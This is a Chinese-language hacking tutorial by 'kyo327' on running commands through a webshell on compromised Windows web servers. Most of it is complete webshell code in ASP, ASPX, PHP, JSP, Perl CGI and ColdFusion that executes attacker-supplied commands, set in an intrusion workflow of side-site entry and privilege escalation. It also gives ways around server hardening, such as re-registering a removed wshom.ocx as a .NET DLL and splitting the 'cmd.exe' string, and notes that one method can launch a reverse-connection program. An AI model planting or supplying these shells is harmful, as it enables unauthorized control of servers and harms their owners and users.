浅谈在WEBSHELL下如何运行命令
Author: kyo327
[ 目录 ]
0×00 前言
0×01 在asp环境下运行命令的方法
0×02在aspx环境下运行命令的方法
0×03在php环境下运行命令的方法
0×04 在jsp 环境下运行命令的方法
0×05 其他脚本环境下运行命令的方法
0×06 后记
0×00 前言
随着互联网的发展和互联网用户的快速增长,越来越多的应用都转向B/S结构,因为它是跨平台的、易操作的、方便的、迅速的,这样不论用户使用什么样的操作系统,仅仅需要安装一个浏览器就能享受在线购物、网上支付、看电影、写博客等等各种各样便捷的服务,特别是WEB2.0时代的到来更增添了互联网的活力。但是这样就会导致越来越多的WEB安全问题的出现,比如sql注入、XSS、上传漏洞、弱口令、目录遍历等,虽然早在数十年前就被发现这些漏洞产生的根本原因,可它们却始终都没有退出历史的舞台,依然是WEB应用程序主要的安全问题,其实这也不是安全厂商和企业不重视安全,也许是恶意入侵者又从他们的安全解决方案里找到新的漏洞、也许是配合其他的漏洞形成一个不是漏洞的漏洞、也许是服务器配置方面出现了问题、也许是出于对用户的信任(因为不是所有的用户都是循规蹈矩的)、再或许是由新增加应用导致的。总之还是一句话,安全是一个整体。
在当前这个时代,靠一个远程溢出直接获得一个SHELL对于一般的黑客来说是过于奢侈了,就算真的有传说中的80端口溢出,也要看目标值不值得用。所以一般来说大多数黑客还是从WEB应用入手。不论用什么方法吧,先拿到一个WEBSHELL是最基本的,哪怕仅仅是同C类网段的一台机器,起码可以试试ARP嗅探。而拿到一个WEBSHELL后,面临最多的一个问题就是提升权限。特别是在遇到虚拟主机的时候,当你的目标在另外一个目录,你没有办法进目标网站,仅仅是靠旁注进了同一服务器的其他站点,这种情况提权跨目录成了必经之路。但是要提升权限基本上都是要执行命令的,现在的大多数WEB服务器、虚拟主机等都做了安全设置,因此本文就谈一谈在各种脚本语言环境下都有哪些方法可以执行命令。(本文仅探讨服务器为windows的情况)
0×01 在asp环境下运行命令的方法
当拿到一个asp的WEBSHELL时,想运行命令,一般是先查看一下组件支持情况。如图1
可以看到,图1中显示是不支持wscript.shell和wscript.network的。而服务器有可能只是在注册表中改了名称,却没有卸载或删除C:\windows\System32\wshom.ocx。这样可以上传下面这段脚本试一试:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
MyCode1: <object runat=server id=shell scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object> <%if err then%> <object runat=server id=shell scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object> <% end if %> <form method="post"> <input type=text name="cmdx" size=60 value="C:\Documents and Settings\All Users\cmd.exe"><br> <input type=text name="cmd" size=60 value="<%=request.form("cmd")%>"><br> <input type=submit value="cmd命令"></form> <textarea readonly cols=80 rows=20> <%On Error Resume Next if request.form("cmdx")="C:\Documents and Settings\All Users\cmd.exe" then response.write shell.exec("cmd.exe /c"&request.form("cmd")).stdout.readall end if response.write shell.exec(request.form("cmdx")&" /c"&request.form("cmd")).stdout.readall %> </textarea> |
当服务设置卸载(regsvr32 /u C:\windows\System32\wshom.ocx)或删除了wshom.ocx时,我们还可以使用shell.application组件来运行命令。在我进行测试时,发现海洋2006中所带的shell.application运行器无法在windows2003中运行命令,在win2000中倒是没问题的。
在后来的不经意的测试中,我发现了使用shell.application在win2003中运行命令的方法。代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
MyCode2: <center><%response.write "<font size=4 color=red>shellapplication执行命令 无回显</font>" %> <BR>程序所在的物理路径: <%response.write request.servervariables("APPL_PHYSICAL_PATH")%> </center> <html><title>shellapplication执行命令 by kyo327 </title> <body><br/><center> <form action="<%= Request.ServerVariables("URL") %>" method="POST"> <br>程序路径:<br/> <input type=text name=text1 size=60 value="C:\Documents and Settings\All Users\Documents\cmd.exe"> <br/> 参数:<br/><input type=text name=text2 size=60 value="<%=canshu%>"><br/> <input type=submit name=makelove value=运行> </form> </center></body> </html> <% appnames = Request.Form("text1") canshu = Request.Form("text2") if appnames<>"" then set kyoshell=createobject("shell.application") kyoshell.ShellExecute appnames,canshu,"","open",0 response.write "<center>执行成功!</center>" end if %> |
运行命令如图2:
以上是我所知道的在asp环境下执行命令的两种方法。Mycode1是利用wscript.shell组件,mycode2是利用了shell.application组件。
0×02 在aspx环境下运行命令的方法
微软的.net战略已经在全世界已经全面打响,未来肯定会完全的抛弃asp,当然从涌现出的越来越多asp.net的web应用就可以看得出来。由于.net强大的函数库和安装运行不依赖注册表的特性,如果你所获得的webshell支持aspx,基本这台服务器不会逃脱被运行命令的厄运。不过前提是你需要找到一个可写可执行exe的目录。
现在我们谈一谈运行命令的几种方法:
第一种,很多人估计很熟悉了,就是利用Process.Start()。代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 |
Mycode3: <%@ Page Language="c#" validateRequest = "false" aspcompat = "true" %> <%@ import Namespace="System.Diagnostics" %> <html xmlns="http://www.w3.org/1999/xhtml" > <head id="Head1" runat="server"> <title>cmdshell</title></head> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" > <script language="C#" runat="server"> void Button_Click1(object sender, EventArgs e) { try { Process shell = new Process(); shell.StartInfo.FileName = PathTextBox.Text; shell.StartInfo.Arguments = ShellTextBox.Text; shell.StartInfo.UseShellExecute = false; shell.StartInfo.RedirectStandardInput = true; shell.StartInfo.RedirectStandardOutput = true; shell.StartInfo.RedirectStandardError = true; shell.Start(); string str1 = shell.StandardOutput.ReadToEnd(); str1 = str1.Replace("<", "<"); str1 = str1.Replace(">", ">"); myLabel.Text = "<hr><pre>" + str1 + "</pre>"; } catch (Exception Error) { myLabel2.Text="错误代码:"+Error.Message; } } </script> <body> <center><font size=5 color=red>asp.net命令执行 by kyo</font><br /></center> <form id="form1" runat="server"><div style="text-align: center"> <asp:Panel ID="CmdPanel" runat="server" Height="50px" Width="800px"><hr /> 程序路径 :<asp:TextBox ID="PathTextBox" runat="server" Width="395px">C:\Documents and Settings\All Users\Documents\cmd.exe</asp:TextBox><br /> 命令参数 :<asp:TextBox ID="ShellTextBox" runat="server" Width="395px">/c ver</asp:TextBox><br /> <asp:Button ID="RunButton" runat="server" OnClick="Button_Click1" Text="运行" /></div> <div style="text-align: left"> <asp:Label ID="myLabel" runat="server" EnableViewState="False"></asp:Label></div> <div style="text-align: right"> <asp:Label ID="myLabel2" runat="server" EnableViewState="False"></asp:Label></div> <hr /></asp:Panel></form></body> </html> |
执行命令如图3:
第2种方法:还是靠wscript.shell组件来执行。
代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
Mycode4: <%@ Page Language="VB" validateRequest = "false" aspcompat = "true" Debug="true"%> <script runat="server"> sub run(Src As Object, E As EventArgs) Dim StrResult As String Dim shell As Object shell = Server.CreateObject("WScript.Shell") StrResult = shell.exec( path.Text & " /c " & box.Text ).stdout.readall StrResult = Replace(StrResult , "<","<") StrResult = Replace(StrResult , ">",">") ResultLabel.Text = "<pre>" & StrResult & "</pre>" end sub </script> <html><head></head><body> <form runat="server"> 程序路径:<asp:TextBox ID="path" Width="500" Text="C:\Documents and Settings\All Users\Documents\cmd.exe" runat="server" /> <br>命令参数:<asp:TextBox ID="box" Width="200" runat="server" /> <asp:Button ID="Button" Text="Run" OnClick="run" runat="server" /><br> <asp:Label ID="ResultLabel" runat="server" /> </form></body></html> |
另外如果服务器卸载了wscript.shell,我们还可以将C:\windows\System32\wshom.ocx 转化为.net组件放入web根目录的bin目录里,然后调用wscript.shell。如图4
转换完成之后,把kyoweb.dll文件copy到web根目录的bin文件夹内,利用.net运行程序不依赖注册表的特性,我们就又可以调用wscript.shell了。
代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 |
Mycode5 <%@ Page Language="VB" validateRequest="false" aspcompat="true" %> <script runat="server"> sub run(Src As Object, E As EventArgs) Dim StrResult As String Dim shell As New kyoweb.WshShell StrResult = shell.exec( path.Text & " /c " & box.Text ).stdout.readall StrResult = Replace(StrResult , "<","<") StrResult = Replace(StrResult , ">",">") ResultLabel.Text = "<pre>" & StrResult & "</pre>" end sub </script> |
后面的从<html>开始与mycode4相同。
第3种方法:当然还是利用shell.application组件。
代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
Mycode6: <%@ Page Language="VB" validateRequest = "false" aspcompat = "true" %> <script runat="server"> sub run(Src As Object, E As EventArgs) Dim appName As String Dim appArgs As String Dim love As Object love = Server.CreateObject("Shell.Application") appName = appnames.Text appArgs = canshu.Text love.ShellExecute(appName, appArgs, "", "open", 0) end sub </script><html> <head><title>shellapplication For ASP.NET By kyo327</title></head> <body><form id="Form1" runat="server"> <center><font color=red size=4>利用shell.application执行命令for asp.net</font><br /> <br>程序路径名:<br /> <asp:TextBox ID="appnames" Width="400" Text="C:\Documents and Settings\All Users\Documents\fanlian.exe" runat="server" /> <br>参数:<br /> <asp:TextBox ID="canshu" Width="400" runat="server" /> <br /><br /> <asp:Button ID="Button" Text="运行" OnClick="run" runat="server" /><br> </form></center></body></html> |
运行结果如图5:
当然我们还可以把c:\windows\system32\shell32.dll转为.net放入bin文件夹再调用。具体转换操作与转换wshom.ocx基本一样。这里我直接出代码:
1 2 3 4 5 6 7 8 9 10 11 12 |
Mycode7: <%@ Page Language="VB" validateRequest = "false" aspcompat = "true" %> <script runat="server"> sub run(Src As Object, E As EventArgs) Dim appName As String Dim appArgs As String Dim love As New kyoshells.Shell appName = appnames.Text appArgs = canshu.Text love.ShellExecute(appName, appArgs, "", "open", 0) end sub </script> |
仍然从开始<html>后面的代码与mycode5相同。
0×03 在php环境下运行命令的方法
Php在WEB应用中的地位越来越被看重,也有更多的程序员加入php程序员的行列。但php语言的WEB脚本环境下执行命令的方法却有很多种,所以不论是程序员或是管理员或是黑客,都有必要学习一下php执行命令的方法。
我所知道的php在windows服务器上执行命令至少有以下几种方法。
1 2 3 4 5 6 7 8 |
wscript.shell shell.application system(); exec(); passthru(); shell_exec(); popen(); proc_open(); |
由于这几个函数使用比较简单,我把它们组合在一起了。
代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 |
Mycode8: <?php if (key($_GET)=="system") { system($_GET['system']); } elseif (key($_GET)=="passthru") { passthru($_GET['passthru']); } elseif (key($_GET)=="exec") { $result = exec($_GET['exec']); echo $result; } elseif (key($_GET)=="shell_exec") { $result=shell_exec($_GET['shell_exec']); echo $result; } elseif (key($_GET)=="popen") { $pp = popen($_GET['popen'], 'r'); $read = fread($pp, 2096); echo $read; pclose($pp); } elseif (key($_GET)=="wscript") { $wsh = new COM('WScript.shell') or die("PHP Create COM wscript.shell failed"); $exec = $wsh->exec ("cm"."d.e"."xe /c ".$_GET['wscript'].""); $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput; } elseif(key($_GET)=="proc_open"){ $descriptorspec = array( 0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w") ); $process = proc_open("C:\\Docume~1\\alluse~1\\Documents\\cmd.exe", $descriptorspec, $pipes); if (is_resource($process)) { fwrite($pipes[0], "".$_GET['proc_open']."\r\n"); fwrite($pipes[0], "exit\r\n"); fclose($pipes[0]); while (!feof($pipes[1])) { echo fgets($pipes[1], 1024); } fclose($pipes[1]); while (!feof($pipes[2])) { echo fgets($pipes[2], 1024); } fclose($pipes[2]); proc_close($process); }} ?> |
在浏览器地址栏这样写以测试各种方法:
1 2 3 4 5 6 7 |
http://127.0.0.1/cmdshell.php?system=dir http://127.0.0.1/cmdshell.php?passthru=dir http://127.0.0.1/cmdshell.php?exec=dir http://127.0.0.1/cmdshell.php?shell_exec=dir http://127.0.0.1/cmdshell.php?popen=dir http://127.0.0.1/cmdshell.php?wscript=dir http://127.0.0.1/cmdshell.php? proc_open=dir |
最后还有一个shell.application方法也能执行程序。
1 2 3 4 |
Mycode9: <?php $wsh = new COM('Shell.Application') or die("Shell.Application"); $exec = $wsh->open("C:\\Docume~1\\alluse~1\\Documents\\fanlian.exe"); |
//没有回显,多了个fanlian进程,可以直接执行一个反向连接程序反弹回来
?>
0×04 在jsp 环境下运行命令的方法
一般来说都用的是这个方法:Runtime.getRuntime().exec(command);
代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
Mycode10: <%@ page import="java.io.*" %> <% try { String cmd = request.getParameter("cmd"); Process child = Runtime.getRuntime().exec(cmd); InputStream in = child.getInputStream(); int c; while ((c = in.read()) != -1) { out.print((char)c); } in.close(); try { child.waitFor(); } catch (InterruptedException e) { e.printStackTrace(); } } catch (IOException e) { System.err.println(e); } %> |
用法:http://127.0.0.1/cmd.jsp?cmd=ipconfig
0×05 其他脚本环境下运行命令的方法
1. 在CGI环境下支持的编程语言较多,执行命令的方法也不止一种,但这种WEB环境算是古董了,基本上现在用它的已经不多了。这里就以perl为例子,并且以最常用的方法system()作为例子。
代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
Mycode11: #!/usr/bin/perl read(STDIN,$POST,$ENV{'CONTENT_LENGTH'}); ($key,$command)=split(/=/,$POST); $command=~s/%([a-fA-f0-9][a-fA-f0-9])/pack("C",hex($1))/eg; $command=~s/\+/ /; $output=system "$command>a.txt"; $output=~s/\n/\<br\>/; print "Content-Type: text/html\n\n"; print <<EOF; <form action="" method=POST> <input type=text size=40 name=command value=""><br> <input type=submit value=ok> </form> EOF open(OUTPUT,"a.txt")||die "cannot open $!"; @output=<OUTPUT>; print <<EOF; <textarea name="textfield" cols="80" rows="60">@output</textarea> EOF close OUTPUT; unlink ("a.txt"); exit; |
2.支持cfm执行命令的方法,专门有个标识语法是<cfexecute></cfexecute>
代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
Mycode12: <html><head> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> <title>CFM shell</title></head> <body> <cfif IsDefined("FORM.cmd")> <cfoutput>#cmd#</cfoutput> <cfexecute name="cmd.exe" arguments="/c #cmd#" outputfile="#GetTempDirectory()#kyo.txt" timeout="1"> </cfexecute></cfif> <form action="<cfoutput>#CGI.SCRIPT_NAME#</cfoutput>" method="post"> <input type=text size=45 name="cmd" > <input type=Submit value="run"> </form><cfif FileExists("#GetTempDirectory()#kyo.txt") is "Yes"> <cffile action="Read" file="#GetTempDirectory()#kyo.txt" variable="readText"> <textarea readonly cols=80 rows=20> <CFOUTPUT>#readText#</CFOUTPUT> </textarea> <cffile action="Delete" file="#GetTempDirectory()#kyo.txt"> </cfif></body></html> |
0×06 后记
本文把当今流行的几种WEB语言在windows平台运行命令的方法总结了一下,针对于比较流行的语言说的较详细一些,而象cgi、perl、cfm谈的少了一点,毕竟现在互联网上已经较少的存在那些古董级的平台环境了。另外也是希望起到抛砖引玉的作用,也期待安全爱好者把我没有考虑到的知识点给加进来,使这份文档逐渐完善起来。
暂无评论